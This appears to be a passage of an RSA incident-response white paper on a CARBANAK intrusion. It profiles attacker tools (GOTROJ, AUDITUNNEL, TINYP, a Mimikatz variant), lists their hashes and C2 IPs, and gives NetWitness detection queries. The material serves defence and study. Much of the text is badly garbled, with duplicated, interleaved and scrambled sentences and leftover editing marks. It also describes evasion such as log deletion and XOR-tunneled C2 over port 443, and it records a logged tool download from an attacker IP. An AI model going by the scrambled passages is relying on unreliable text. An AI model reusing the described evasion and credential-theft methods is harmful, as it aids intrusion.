+packet boundaries into account in its design. Therefore, a single message
+may traverse multiple packets with no additional control bytes, such as the
+ID byte or length. Given this case, the method of decrypting the traffic was
+made more effective by extracting the payload above Layer 4 and decrypting
+that data independent of any data within Layers 2-4. The file information
+WHITE PAPER
+for the three versions of GOTROJ observed in this incident is shown in
+Table 11, Table 12 and Table 13. All binaries use the same C2 IP address of
+107.181.246.146.
+File Name : ctlmon.exe
+File Size : 4,392,448 bytes
+: 370d420948672e04ba8eac10bfe6fc9c
+SHA1
+: 450605b6761ff8dd025978f44724b11e0c5eadcc
+Table 11: File Information for GOTROJ Version 1
+File Name : ctlmon_v2.exe
+File Size : 4,047,691 bytes
+: 5ddf9683692154986494ca9dd74b588f
+SHA1
+: 08f527bef45cb001150ef12ad9ab91d1822bb9c7
+Table 12: File Information for GOTROJ Version 2
+File Name : ctlmon_v3.exe
+The!Shadows!of!Ghosts!
+File Size : 4,063,744 bytes
+Case!Study:!CARBANAK!
+: f9766140642c24d422e19e9cf35f2827 !
+Table 12: File Information for GOTROJ Version 2
+SHA1
+: 7b27771de1a2540008758e9894bfe168f26bffa0
+File Name
+File Size
+SHA1
+: ctlmon_v3.exe
+: 4,063,744
+Table 13: bytes
+File Information for GOTROJ Version 3
+: f9766140642c24d422e19e9cf35f2827
+: 7b27771de1a2540008758e9894bfe168f26bffa0
+4.4.2 AudiTunnel (Windows Version)
+13: File
+Information
+for GOTROJ
+The attackers alsoTable
+utilized
+a tunneling
+binary
+similarVersion
+to the 3AUDITUNNEL
+binary used(Windows
+on the compromised
+4.4.2! AudiTunnel
+Version) Linux systems. The svcmd.exe binary
+primary
+purpose
+tunnel
+traffic
+to thetoattackers
+C2 using XOR
+The attackers also utilized a tunneling
+binary
+similar
+the AUDITUNNEL
+binary used on the
+encoding
+with
+a key of
+0x41.
+This version
+of primary
+AUDITUNNEL
+hard-coded
+compromised
+Linux
+systems.
+svcmd.exe
+binary
+purposeiswas
+to tunnel traffic to
+the attackers
+C2 using XOR
+encoding
+with a key of The
+0x41.
+version is
+of clearly
+AUDITUNNEL
+is hardto communicate
+with
+IP 185.86.151.174.
+C2This
+IP address
+seen
+coded to communicate with IP 185.86.151.174. The C2 IP address is clearly seen within the
+withinofthe
+strings
+file, 27.
+as shown in Figure 27.
+ASCII strings
+theASCII
+file, as
+shownofinthe
+Figure
+Figure 27: C2 IP Address in ASCII Strings of svcmd.exe
+Figure 27: C2 IP Address in ASCII Strings of svcmd.exe
+The IP address it communicates with is hard-coded, as is the encryption key used for its
+The IP address
+it communicates
+with
+is hard-coded,
+as is the
+encryption
+communications.
+After establishing
+the TCP
+connection
+and socket,
+svcmd.exe
+will XOR the send
+and receive
+buffers
+against
+value
+0x41.
+Given
+connects
+address
+key used for its communications. After establishing the TCP connection over
+TCP/443, without the necessary visibility, defenders might mistake it for HTTPS encrypted
+andencryption
+socket, svcmd.exe
+will XOR
+the send
+and receive
+buffers against a value
+traffic. The
+code segment
+is shown
+in Figure
+of 0x41. Given it connects to the C2 IP address over TCP/443, without the
+necessary visibility, defenders might mistake it for HTTPS encrypted traffic.
+The encryption code segment is shown in Figure 28.
+WHITE PAPER
+Figure 27: C2 IP Address in ASCII Strings of svcmd.exe
+The IP address it communicates with is hard-coded, as is the encryption key used for its
+communications. After establishing the TCP connection and socket, svcmd.exe will XOR the
+and receive buffers against a value of 0x41. Given it connects to the C2 IP address over
+TCP/443, without the necessary visibility, defenders might mistake it for HTTPS encrypted
+traffic. The encryption code segment is shown in Figure 28.
+The encryption code segment is shown in Figure 28.
+Figure 28: XOR Byte Encryption Loop for Send and Receive Buffer
+The file information for the Windows AUDITUNNEL binary is shown in Table 14.
+File Name : svcmd.exe
+File Size : 47,104 bytes
+: 8b3a91038ecb2f57de5bbd29848b6dc4
+SHA1
+: 54074b3934955d4121d1a01fe2ed5493c3f7f16d
+Table 14: File Information for AUDITUNNEL (Windows Version)
+4.5 WINDOWS SECONDARY ATTACKER TOOLS
+4.5.1 TINYP
+While the WINEXE binary was used to migrate from the Linux environment
+to the Windows environment, a modified version of SysInternals PSEXEC
+was used to move throughout the Windows environment. This modified
+PSEXEC binary, named TINYP by the attackers, was the primary lateral
+movement mechanism. Two versions of TINYP were used during this
+intrusion (v.0.7.6.2 and v.0.7.7.4), with the attackers downloading the binaries
+under the filenames ti1.bmp, tinyp1.bmp, tinyp2.bmp, tineyp3.bmp, tinyp4.bmp
+and ps.bmp. Once downloaded, the binary was renamed to ps.exe for use in
+lateral movement. While both versions of TINYP have all of the features of
+normal SysInternals PSEXEC, they also include additional functionality. These
+functionalities are given at the command line at execution, just like PSEXEC.
+The usage list of all of TINYP
+s functions is shown in Table 15.
+WHITE PAPER
+Argument
+Function
+\\<Target Hostname or IP>
+Remote system to communicate with
+Do not load user profile on target host
+-copyself
+Copy TINYP to C:\Windows on target host
+-cleanup
+Delete System Event Log
+-getfiles <file>
+Download files from target host
+-copyfiles <file>
+Upload files to target host $ADMIN share
+Run command non-interactively
+-i <session>
+Run command interactively to <session>
+-u <username>
+Username flag
+-p <password>
+Password flag
+Run as SYSTEM on target host
+<cmd>
+Command to run on the target host.
+Running cmd gives interactive shell
+Table 15: TINYP Arguments and Functions
+The primary modifications made to the base SysInternals PSEXEC are the
+functions associated with the 
+copyself, 
+cleanup, 
+getfiles, and 
+copyfiles
+arguments. The 
+copyself and 
+copyfiles arguments will copy a file to the
+target remote system via SMB/CIFS, with that file either being a copy
+of TINYP itself or an explicitly designated file, respectively. The 
+getfiles
+argument will move files in the opposite direction, downloading specified
+files from the target remote host to the source host via SMB/CIFS. Lastly,
+the TINYP tool contains an argument to specifically delete entries from the
+Windows System Event Log. While this is an attempt to cover tracks as the
+attacker moves throughout the environment, it is important to note that this
+only affects the System Event Log, leaving Application, Security and servicespecific Windows Event Logs to retain data useful to investigators.
+The TINYP tool was used primarily with the Windows Command Processor
+cmd.exe as the final argument for remote command shell access. Once the
+attacker closed the remote session, the TINYP tool would:
+1. Check if it copied itself to the $ADMIN share of the remote system (C:\
+Windows). If so, it would delete itself from that location.
+2. Remove the PSEXESVC Windows Service and the psexesvc.exe PSEXEC
+Remote Service binary from the remote system.
+3. Delete the System Event Log from the remote system.
+attacker moves throughout the environment, it is important to note that this only affects the
+System Event Log, leaving Application, Security and service-specific Windows Event Logs to
+Deleted: ,
+retain data useful to investigators.
+WHITE PAPER
+The TINYP tool was used primarily with the Windows Command Processor cmd.exe as the final
+argument for remote command shell access. Once the attacker closed the remote session, the
+TINYP tool would:
+1.! Check if it copied itself to the $ADMIN share of the remote system (C:\Windows). If so, it
+would delete itself from that location.
+2.! Remove the PSEXESVC Windows Service and the psexesvc.exe PSEXEC Remote Service
+binary from the remote system.
+3.! Delete the System Event Log from the remote system.
+Evidence of of
+thisthis
+activity,
+in thein
+form
+a lab execution
+of this tool, is
+in Figure
+Evidence
+activity,
+theofform
+of a lab execution
+ofshown
+this tool,
+is shown
+Figure
+Sample
+Execution
+TINYP
+v.0.7.7.4
+Figure 29.
+The file information for TINYP versions 0.7.6.2 and 0.7.7.4 is shown in Table 16 and Table 17,
+Figure 29: Sample Execution of TINYP v.0.7.7.4
+respectively.
+Filefile
+Name
+: TINYP2.bin
+information
+for TINYP versions 0.7.6.2 and 0.7.7.4 is shown in Table
+File Size
+: 277,504 bytes
+16 and Table 17, respectively.
+Page 35
+File Name : TINYP2.bin
+File Size : 277,504 bytes
+: 7393cb0f409f8f51b7745981ac30b8b6
+SHA1
+: 6c17113f66efa5115111a9e67c6ddd026ba9b55d
+Table 16: File Information for TINYP v.0.7.6.2
+File Name : ps.exe
+File Size : 234,496 bytes
+: c4d746b8e5e8e12a50a18c9d61e01864
+SHA1
+: c020f8939f136b4785dda7b2e4b80ced96e23663
+Table 17: File Information for TINYP v.0.7.7.4
+4.5.2 WGET (UIAUTOMATIONCORE.DLL.BIN)
+As done previously, the attackers used WGET version 1.11.4 to download
+binaries before execution. However, the WGET used was renamed to
+UIAutomationCore.dll.bin. Evidence of this is shown in execution of the binary
+in Figure 30.
+Deleted:
+Deleted:
+Comment [A
+Deleted: are
+SHA1
+: 6c17113f66efa5115111a9e67c6ddd026ba9b55d
+Table 16: File Information for TINYP v.0.7.6.2
+File Name
+File Size
+SHA1
+: ps.exe
+: 234,496 bytes
+: c4d746b8e5e8e12a50a18c9d61e01864
+: c020f8939f136b4785dda7b2e4b80ced96e23663
+WHITE PAPER
+Table 17: File Information for TINYP v.0.7.7.4
+4.5.2! WGET (UIAutomationCore.dll.bin)
+As done previously, the attackers used WGET version 1.11.4 to download binaries before
+execution. However, the WGET used was renamed to UIAutomationCore.dll.bin. Evidence of this
+is shown in execution of the binary in Figure 30.
+FigureFigure
+30: WGET
+Renamed to UIAutomationCore.dll.bin
+30: WGET Renamed to UIAutomationCore.dll.bin
+This
+is observed
+downloading
+a version a
+ofversion
+the TINYP
+IP address
+Thisbinary
+binary
+is observed
+downloading
+of tool
+thefrom
+TINYP
+tool from IP
+185.61.148.145 in the RSA NetWitness Endpoint Application Tracking Data shown in Figure 31.
+address 185.61.148.145 in the RSA NetWitness Endpoint Application
+ECATSERVER,AGENT_HOSTNAME,2017-05-02
+Tracking
+Data shown in Figure 31.
+12:51:43.0671260,UIAutomationCore.dll.bin,TINYP2.bmp,C:\Windows\SysWOW64\zhTW\,NULL,UIAutomationCore.dll.bin
+http://185.61.148.145:443/TINYP2.bmp
+ECATSERVER,AGENT_HOSTNAME,2017-05-02
+Figure 31: Download of TINYP Binary with UIAutomationCore.dll.bin
+12:51:43.0671260,UIAutomationCore.dll.bin,TINYP2.bmp,C:\
+file information is shown in Table 18.
+Windows\SysWOW64\zh-TW\,NULL,UIAutomationCore.dll.bin
+http://185.61.148.145:443/TINYP2.bmp
+File
+Name
+: UIAutomationCore.dll.bin
+File Size
+: 401,408 bytes
+: bd126a7b59d5d1f97ba89a3e71425731
+of TINYP Binary with UIAutomationCore.dll.bin
+SHA1 Figure 31::Download
+457b1cd985ed07baffd8c66ff40e9c1b6da93753
+The file information is shown in Table 18.
+File Name : UIAutomationCore.dll.bin
+File Size : 401,408 bytes
+: bd126a7b59d5d1f97ba89a3e71425731
+SHA1
+: 457b1cd985ed07baffd8c66ff40e9c1b6da93753
+Page 36
+Table 18: File Information for WGET (UIAutomationCore.dll.bin)
+4.5.3 PSCP (PuTTY Secure File Copy)
+The PSCP tool used by the attackers was an unmodified version of PuTTY
+Secure File Copy v0.67. The file information is shown in Table 19.
+File Name : pscp.bin
+File Size : 359,336 bytes
+: b3135736bcfdab27f891dbe4009a8c80
+SHA1
+: 9240e1744e7272e59e482f68a10f126fdf501be0
+Table 19: File Information for PSCP
+4.5.4 Mimikatz Variant (32-bit, 64-bit)
+For credential harvesting within the Windows environment, the attackers
+downloaded two files named image32.bmp and image64.bmp. These files
+were subsequently renamed to xxx32.exe and xxx64.exe, respectively. In
+reviewing these files and their activity, RSA IR determined that these were
+implementations of the sekurlsa_acquireLSA() functionality of the Mimikatz
+credential harvesting tool. The file information is shown in Table 20 and
+Table 21.
+Deleted:
+WHITE PAPER
+File Name : xxx32.exe
+File Size : 528,896 bytes
+: 6499863d47b68030f0c5ffafaffb1344
+SHA1
+: 2197e35f14ff9960985c982ed6d16d5bd5366062
+Table 20: File Information for MIMIKATZ Variant (32-bit)
+File Name : xxx64.exe
+File Size : 589,312 bytes
+: 752d245f1026482a967a763dae184569
+SHA1
+: 355603b1922886044884afbdfa9c9a6626b6669a
+Table 21: File Information for MIMIKATZ Variant (64-bit)
+4.5.5 CCS
+CCS is a system process and library identifier that, when no arguments are
+given, will print the currently running processes and their process IDs to both
+STDOUT and a file named _out.log in the current working directory. If CCS
+executed with the 
+modules
+ argument, it printed the running processes and
+their process IDs, as well as all DLLs loaded by each process. This operation
+also prints the output to both STDOUT and the _out.log file. Additionally,
+the _out.log file will not be replaced; rather, it will be appended with every
+subsequent execution. The file information is shown in Table 22.
+File Name : ccs.bmp
+File Size : 82,944 bytes
+: d406e037f034b89c85758af1a98110be
+SHA1
+: 6bc46528da6cd224fa5e58ccd9df5b05c46c673d
+Table 22: File Information for CCS
+4.5.6 Infos.bmp
+The INFOS tool was a host reconnaissance tool obtaining browser history,
+browser login data and RDP logs from the system, and it outputs them to
+STDOUT. The attackers used this tool to harvest credentials, identify internal
+web applications and observe the common RDP connections and accounts
+used on the Windows servers. The file information is shown in Table 23.
+File Name : infos.bmp
+File Size : 494,080 bytes
+: ab8bed25f9ff64a4b07be5d3bc34f26b
+SHA1
+: 42ce9c2bd246a0243fa91309938042e434b39876
+Table 23: File Information for INFOS
+The INFOS tool was a host reconnaissance tool obtaining browser history, browser login data
+and RDP logs from the system, and it outputs them to STDOUT. The attackers used this tool t
+WHITE RDP
+PAPER
+harvest credentials, identify internal web applications and observe the common
+connectio
+and accounts used on the Windows servers. The file information is shown in Table 23.
+File Name
+File Size
+SHA1
+: infos.bmp
+: 494,080 bytes
+: ab8bed25f9ff64a4b07be5d3bc34f26b
+: 42ce9c2bd246a0243fa91309938042e434b39876
+Table 23: File Information for INFOS
+4.5.7 PSCAN (Windows Version)
+4.5.7! PSCAN The
+(Windows
+Version)
+attackers also
+utilized a version of the PSCAN tools described in Section
+4.3.3.utilized
+This version
+differsof
+from
+Linux version
+previously discussed
+only
+The attackers also
+a version
+thethe
+PSCAN
+tools described
+in Section
+4.3.3.
+This versi
+differs from theitsLinux
+version
+previously
+discussed
+only
+usage
+message,
+which
+is slightly
+usage message, which is slightly more verbose. An example of the usage
+more verbose. text
+An example
+usage
+text
+execution
+shown
+Figure
+and execution is shown in Figure 32.
+Figure
+Example
+Executionand
+and Usage
+Usage Text
+ofof
+Windows
+Version
+of PSCAN
+Figure
+32: 32:
+Example
+Execution
+Text
+Windows
+Version
+of PSCAN
+The file
+is shown
+The file information
+isinformation
+shown in Table
+24.in Table 24.
+File Name
+File Size
+SHA1
+File Name
+: pscan.bmp
+: pscan.bmp
+: 65,024
+bytes
+File Size
+: 65,024
+bytes
+d825fbd90087d2350e89cbf205a1b71c
+: d825fbd90087d2350e89cbf205a1b71c
+: ca5e195692399dca99a4d8299dc9ff816168a6dc
+SHA1
+: ca5e195692399dca99a4d8299dc9ff816168a6dc
+Table 24: File Information for PSCAN (Windows Version)
+Table 24: File Information for PSCAN (Windows Version)
+4.6! Detection, Tracking and Response
+4.6 DETECTION, TRACKING, AND RESPONSE
+Given that the Given
+attackers
+leftattackers
+very little
+running running
+on anyon
+compromised
+host,
+that the
+leftconsistently
+very little consistently
+downloaded tools as they needed them and removed those tools immediately after use,
+compromised host, downloaded tools as they needed them and removed
+determining their movement throughout the environment via traditional forensic methods wa
+those tools immediately after use, determining their movement throughout
+not a timely option. In a significant portion of the attackers
+ actions-on-objective and lateral
+environment
+via traditional
+forensic
+methods
+was not
+timely option.
+movement, thethe
+majority
+of their
+activity was
+contained
+within
+thea functions
+of the Windows
+In a significant
+portion
+of the
+attackers
+actions-on-objective
+Command Processor
+cmd.exe.
+Given
+this,
+much of
+their actions did and
+notlateral
+cause subsequent
+movement, the majority of their activity was contained within the functions of
+the Windows Command Processor cmd.exe. Given this, much of their actions
+did not cause subsequent process execution. Additionally, the attackers
+utilized several different filenames for their toolsets, ensured a tool was not
+executed with the same name it was downloaded with, used multiple versions
+to throw off atomic hashing IOCs and maintained at least two different
+ingress points with non-related IP addresses.
+Given that the attackers had been in the environment for over a month at the
+time response began, traditional host and network intrusion detection systems
+within the organization
+s security stack proved ineffective to combat these
+actors. Additionally, the attackers had full access to the Linux and Windows
+environments at the time of response. However, by engaging and enabling
+analysts to periodically conduct RSA Threat Hunting with a solid methodology,
+WHITE PAPER
+this threat was still detected despite not being detected by IDS, or buried in
+ineffective alerts. Once detected, the root cause was determined, the threat
+was effectively and recursively scoped across the environment, additional
+next-level visibility into attacker actions was obtained, and a plan was created
+and executed to successfully remediate the threat. Given that time is the
+most critical resource during incident response, any reduction to the 10:1
+analysis time versus attack time ratio can significantly increase the chances of a
+successful eradication event and continued successful remediation. In this case,
+due to effective visibility, solid methodology and processes, and motivated
+and properly enabled analysts, the threat was contained and remediated after
+nine days of response efforts. The remediation involved significant internal
+infrastructure changes be enacted before the expulsion event, including
+implementation of redesigned network segmentation, replacement of several
+significant environment-wide data and process automations, and removal
+and replacement of most administrative authentication methods within the
+environment. Consistent monitoring and RSA Threat Hunting operations
+conducted post-remediation, with the necessary visibility, allowed for an active
+and adaptive response in which any subsequent actor activity was observed,
+analyzed and responded to appropriately.
+With the care in which the attackers moved throughout the environment, RSA
+IR relied on RSA NetWitness Endpoint and RSA NetWitness Logs and Packets
+to coordinate host and network visibility and create non-standard, aggregate,
+behavioral-based indicators, resulting in actionable IOCs that allowed RSA
+IR to track the attackers in near real time. Here, we discuss some of the ways
+in which RSA IR was able to determine and track attacker actions throughout
+the environment.
+4.6.1 Network Visibility and Indicators
+This section discusses the methodology and RSA NetWitness Suite queries
+and content used by RSA IR during this investigation. The methodology in this
+section uses the OCOKA defensive model16 and is described in detail in the
+RSA Incident Response NetWitness Hunting Guide. 17
+The CARBANAK attackers conducted actions through a variety of network
+communication methods. Additionally, as the attackers were prone to
+downloading tools when they needed them, in an effort to leave as little
+on disk as possible, this became a primary method of tracking attacker
+location throughout the environment. The attackers primarily used WGET to
+download tools when needed, and they consistently did so directly to an IP
+address over TCP port 443.
+Heuser, Riley; 
+The Myth of the Easy Button Approach to Information Security
+; https://www.
+rsa.com/en-us/blog/2017-07/infosec-easy-button-myth
+RSA Incident Response NetWitness Hunting Guide
+; https://community.rsa.com/docs/DOC-62341
+WHITE PAPER
+The!Shadows!of!Ghosts!
+Case!Study:!CARBANAK!
+Therefore,
+using thequery
+following
+query
+would
+thetodataset
+to the attacker
+Therefore, using
+the following
+would
+reduce
+thereduce
+dataset
+the attacker
+activity with
+considerably
+high fidelity:
+activity
+with considerably high fidelity:
+direction
+= outbound
+&& service
+= 80
+clientbegins
+begins 
+wget
+wget
+= 443
+direction
+= outbound
+&& service
+= 80
+&&&&
+client
+&&tcp.dstport
+tcp.dstport
+= 443 &&
+service.analysis
+direct
+http
+request
+service.analysis = 
+direct to ip http request
+Execution ofExecution
+this query
+theagainst
+network
+the following
+sessions, shown in
+of against
+this query
+thedataset
+networkresulted
+datasetin
+resulted
+in the following
+Figure 33. sessions, shown in Figure 33.
+Figure
+Figure 33:
+33: Query
+Query Results
+Results for Malicious Tool Downloads
+This behavioral
+could also
+modified
+adhere to
+toadhere
+changes
+attacker
+actions or increasing
+This IOC
+behavioral
+IOC be
+could
+also beto
+modified
+to in
+changes
+in attacker
+false positives by including the Directory Meta to only equal the root directory, or include the
+actions or increasing false positives by including the Directory Meta to only
+Action Meta to only include HTTP GET Requests. As we see in Figure 33, though the attackers
+the root
+directory,
+include the
+Meta
+to only
+include
+HTTP
+would keepequal
+changing
+filenames,
+IP or
+addresses
+andAction
+WGET
+versions
+used,
+actions
+associated
+with
+this TTP were
+still able
+besee
+detected
+throughout
+Requests.
+Astowe
+in Figure
+33, thoughthe
+theengagement.
+attackers would keep changing
+filenames, IP addresses and WGET versions used, actions associated with this
+The primary method of interacting with the Linux Syslog server within the Linux environment
+were still ablevia
+to SSH
+be detected
+throughout
+the (created
+engagement.
+consisted ofTTP
+communicating
+over a reverse
+tunnel
+by the AUDITUNNEL
+The primary method of interacting with the Linux Syslog server within the
+Linux environment consisted of communicating via SSH over a reverse tunnel
+(created by the AUDITUNNEL binary). Given that the SSH traffic would be
+encapsulated within the reverse tunnel created by AUDITUNNEL, the Layer
+3 and Layer 4 headers would be representative of the tunnel itself, while the
+Page 40
+WHITE PAPER
+network payload above Layer 4 would be representative of the SSH protocol.
+With this knowledge, we can begin to build behavioral IOC queries to track
+this activity, beginning with the following:
+direction = outbound && service = 22
+This query will return all results representative of both outbound SSH
+communication as well as inbound SSH communication over the reverse
+tunnel. However, this query is of particularly low fidelity, especially when
+in a Linux-heavy environment. By reviewing additional context around
+what we know of this attacker communication, this query can be narrowed
+significantly. In reviewing the activity associated with the AUDITUNNEL
+auditd and svcmd.exe tunneling binaries, both communicate outbound over
+TCP port 443. Adding this to our query gives additional context around the
+transport mechanism, though not the communication mechanism (SSH).
+As the SSH attacker traffic is associated with the SSHDOOR trojanized
+OpenSSH 5.3 binaries, and by specification SSH exchanges client and server
+version strings at the beginning of each session, we can add version context
+to the communication mechanism as well. The addition of these two aspects
+results in the following query:
+direction = outbound && service = 22 && tcp.dstport = 443 && client = 
+openssh_5.3
+Execution of this query against the network dataset returns
+the following
+The!Shadows!of!Ghosts!
+Case!Study:!CARBANAK!
+results, as shown in Figure 34.
+Figure
+Figure34:
+34:Tunneled
+TunneledSSH
+SSHQuery
+Query Results
+Results
+In the resulting data, we observe that in all sessions returned, the client version string and the
+server version string match. This can be added to the query to increase the fidelity of the IOC if
+there are still false positives present. However, there is still the case in which the AUDITUNNEL
+WHITE PAPER
+In the resulting data, we observe that in all sessions returned, the client
+version string and the server version string match. This can be added to
+Figure 34: Tunneled SSH Query Results
+the query to increase the fidelity of the IOC if there are still false positives
+In thepresent.
+resultingHowever,
+data, we observe
+all case
+sessions
+returned,
+client version binary
+string and the
+there isthat
+stillinthe
+in which
+the the
+AUDITUNNEL
+server version string match. This can be added to the query to increase the fidelity of the IOC if
+encoding.
+In However,
+this case,there
+the traffic
+willcase
+appear
+as binary
+thereutilizes
+are still the
+falseXOR
+positives
+present.
+is still the
+in which
+the AUDITUNNEL
+binary
+utilizes
+encoding.
+this
+case,
+traffic
+will
+appear
+binary
+network
+network communications. In order to ease the effort of detecting this
+communications. In order to ease the effort of detecting this activity, content for RSA
+activity,
+content
+for RSA
+NetWitness
+Logs
+Packets
+were
+created
+NetWitness
+Logs
+and Packets
+were
+created based
+onand
+the initial
+Client
+Hello
+stringbased
+passed when
+beginning
+AUDITUNNEL
+communication.
+example
+this
+detection
+is shownXOR
+in Figure
+on the initial 
+Client Hello
+ string passed when beginning AUDITUNNEL
+communication. An example of this detection is shown in Figure 35.
+Dele
+Dele
+Dele
+Dele
+Dele
+Figure 35: AUDITUNNEL 
+Client Hello
+ Payload Detection and Meta
+Figure 35: AUDITUNNEL 
+Client Hello
+ Payload Detection and Meta
+The GOTROJ utilized two methods of network communication. The first and
+primary method was a custom binary XOR encoded protocol communicating Page 42
+outbound over TCP port 443. We can begin building our IOC query here with
+the following:
+direction = outbound && risk.info = 
+unknown service over ssl port
+ && tcpflags =
+ && ioc = 
+binary handshake
+This query will identify the beginning of all outbound communications
+over TCP port 443 in which data is being transmitted by both parties at the
+beginning of the communication (ioc = 
+binary handshake
+). While this will
+find the GOTROJ control traffic, it will find many other things as well. This is
+due to service = 0 being representative of any protocol for which there is not
+an RFC standard parser built. This includes various proprietary protocols,
+malicious custom protocols and even sending cleartext over a network tunnel.
+To narrow this down some, we would want to look at byte transmission ratios
+between the payloads of the communication. What we are really looking for is
+conversational traffic, in which the ratio of the amount of data transmitted by
+both parties is roughly equivalent (25-75% or so). To identify this, we would
+add the Session Analysis Meta for this type of byte transmission ratio, as
+shown below:
+direction = outbound && risk.info = 
+unknown service over ssl port
+ && tcpflags = 
+&& ioc = 
+binary handshake
+ && analysis.session = 
+medium transmitted outbound
+The direction meta can be removed in this instance if necessary, as the medium
+transmitted outbound meta includes the condition. The resulting traffic from
+the network dataset is shown in Figure 36.
+would want to look at byte transmission ratios between the payloads of the communication.
+What we are really looking for is conversational traffic, in which the ratio of the amount of data
+transmitted by both parties is roughly equivalent (25-75% or so). To identify
+this, we
+would add
+WHITE
+PAPER
+the Session Analysis Meta for this type of byte transmission ratio, as shown below:
+direction = outbound && risk.info = 
+unknown service over ssl port
+ && tcpflags = 
+ && ioc =
+binary handshake
+ && analysis.session = 
+medium transmitted outbound
+The direction meta can be removed in this instance if necessary, as the medium transmitted
+outbound meta includes the condition. The resulting traffic from the network dataset is shown in
+Figure 36.
+Figure 36: GOTROJ Binary Control Traffic and svcmd.exe Beacon Traffic
+At this point in the analysis, we want to look at any contextually interesting
+The!Shadows!of!Ghosts!
+meta within the analysis, compromise or risk meta groups.
+In Figure
+36, meta is
+Case!Study:!CARBANAK!
+created on these sessions for 
+xor encoded executable
+! and 
+windows cli admin
+commands.
+ This indicates that RSA NetWitness Suite observed a Windows
+Figure 36: GOTROJ Binary Control Traffic and svcmd.exe Beacon Traffic
+executable file
+in the network traffic that was XOR encrypted with a oneAt
+this
+point
+we want
+to look
+at any contextually
+interesting meta
+within the
+byte key. Addinganalysis,
+this meta
+to the
+windows
+cli admin commands
+indicates
+that
+analysis, compromise or risk meta groups. In Figure 36, meta is created on these sessions for
+common
+Windows
+administrative
+command
+line
+utilities,
+such
+whoami,
+xor encoded executable
+ and 
+windows cli admin commands.
+ This indicates that RSA NetWitness
+Suite observed a Windows executable file in the network traffic that was XOR encrypted with a
+ipconfig
+or the command prompt string 
+C:\Windows\system32>,
+ were
+one-byte key. Adding this meta to the 
+windows cli admin commands
+ indicates that common
+Windows administrative
+command line
+utilities, such
+whoami,
+ipconfig
+or the command
+observed
+either in cleartext
+or one-byte
+encrypted.
+In extracting
+prompt string 
+C:\Windows\system32>,
+ were observed either in cleartext or one-byte XOR
+payload
+performing
+the XOR
+instruction
+a key of 0xC0,
+we of
+observe
+encrypted.and
+In extracting
+the payload
+and performing
+thewith
+XOR instruction
+with a key
+0xC0, we
+observe the command prompt string, as shown in Figure 37.
+command prompt string, as shown in Figure 37.
+Page 43
+Deleted: ,
+Deleted:
+Deleted: .
+Formatted: F
+Deleted:
+Deleted: ,
+Deleted: ,
+Deleted: ,
+Deleted:
+Figure 37: Identification of Windows Command Prompt in
+Figure 37: Identification of Windows Command Prompt in XOR 0xC0 Decrypted Payload
+While this query may include additional
+traffic
+not associated
+with the attackers, it allowed RSA
+XOR 0xC0
+Decrypted
+Payload
+IR to significantly reduce the network dataset to a level where any included traffic could be
+quickly reviewed for newly identified C2 IP addresses or false positive IP addresses that required
+While
+query
+mayaccurately
+include additional
+not associated
+withcustom
+filtering.this
+In order
+to more
+observe this traffic
+communication,
+RSA IR created
+content for RSA NetWitness Suite. This content is released in the form of the Digital Appendix
+attackers,
+allowed
+significantly
+reduce
+network
+dataset
+to a
+associated with this report. An example of the meta created for this communication is shown in
+Figure where
+level
+any included traffic could be quickly reviewed for newly identified
+C2 IP addresses or false positive IP addresses that required filtering. In order
+to more accurately observe this communication, RSA IR created custom
+content for RSA NetWitness Suite. This content is released in the form of the
+Digital Appendix associated with this report. An example of the meta created
+for this communication is shown in Figure 38.
+Deleted:
+Deleted:
+Deleted:
+Comment [A
+WHITE
+PAPER
+Figure 37: Identification of Windows Command Prompt in XOR 0xC0 Decrypted
+Payload
+While this query may include additional traffic not associated with the attackers, it allowed RSA
+IR to significantly reduce the network dataset to a level where any included traffic could be
+quickly reviewed for newly identified C2 IP addresses or false positive IP addresses that required
+filtering. In order to more accurately observe this communication, RSA IR created custom
+content for RSA NetWitness Suite. This content is released in the form of the Digital Appendix
+associated with this report. An example of the meta created for this communication is shown in
+Figure 38.
+Figure 38: GOTROJ Beacon Meta from Digital Appendix Content
+As discussed
+earlier
+in this paper,
+GOTROJ
+has the
+ability to
+download
+Figure
+38: GOTROJ
+Beacon
+Meta
+from Digital
+Appendix
+Content
+files to compromised hosts. This ability does not traverse the binary XOR
+encoded control channel of the GOTROJ. Instead, it utilizes HTTP over
+As discussed earlier in this paper, the GOTROJ has the ability to !download The!Shadows!of!Ghosts!
+files to compromised
+443.
+Thenot
+following
+subset
+of the query
+associated
+with
+Figure
+33ofcan
+Case!Study:!CARBANAK!
+hosts. Thisport
+ability
+does
+traverse
+the binary
+XOR encoded
+control
+channel
+thebe
+GOTROJ.
+Instead, it used
+utilizes
+HTTP
+over
+TCP port 443. The following subset !of the query associated with
+to find
+this
+traffic.
+direction
+outbound
+service
+80 && tcp.dstport = 443 && session.analysis = 
+direct to ip
+Figure
+33 =
+be used &&
+to find
+this =
+traffic.
+direction = outbound &&http
+service
+= 80 && tcp.dstport = 443 &&
+request
+session.analysis = 
+direct to ip http request
+This query returns the results shown in Figure 39.
+This query returns the results shown in Figure 39.
+Page 44
+Figure 39: Identification of GOTROJ HTTP #wget User-Agent
+Figure 39: Identification of GOTROJ HTTP #wget User-Agent
+In Figure 39, an additional HTTP User-Agent is observed: 
+go-http-client/1.1.
+ The sessions
+associated with this User-Agent are the sessions in which files were downloaded via the GOTROJ
+Trojan. Adding this information to the query associated with Figure 33 returns the following:
+WHITE PAPER
+In Figure 39, an additional HTTP User-Agent is observed: 
+go-http-client/1.1.
+The sessions associated with this User-Agent are the sessions in which files
+were downloaded via the GOTROJ Trojan. Adding this information to the
+query associated with Figure 33 returns the following:
+direction = outbound && service = 80 && tcp.dstport = 443 && session.analysis =
+direct to ip http request
+ && client begins 
+wget
+With these queries built around behavioral attacker TTPs, as observed during
+the time of engagement, any reliance on traditional atomic indicators is
+removed from the investigation. Instead, the actions required of the attackers
+(such as operating system command execution and interaction, file download,
+etc.) are focused upon, as well as the way that their TTP and toolsets perform
+these actions. Thus any changes in C2, filenames, hashes, user-agents, etc., can
+be quickly identified and included in the continuing investigation.
+4.6.2 Host Visibility and Indicators
+This section discusses the methodology and RSA NetWitness Endpoint
+Instant IOCs (IIOCs) and content used by RSA IR during this investigation.
+The methodology used in this section is described in detail in the RSA
+NetWitness Endpoint User Guide found here.18
+The CARBANAK actors involved during this engagement were particularly
+careful to leave as little file, log or execution traces as possible. This included,
+but was not limited to, ad hoc download of tools as needed, preference for
+lateral tool movement, log deletion automatically built into tools, immediate
+deletion of tools and logs upon logout of systems, and removal of entries from
+centralized log repositories.
+During this engagement, the RSA NetWitness Endpoint agent was deployed
+to all Red Hat Enterprise Linux (RHEL) and CentOS 6 and 7 systems, as they
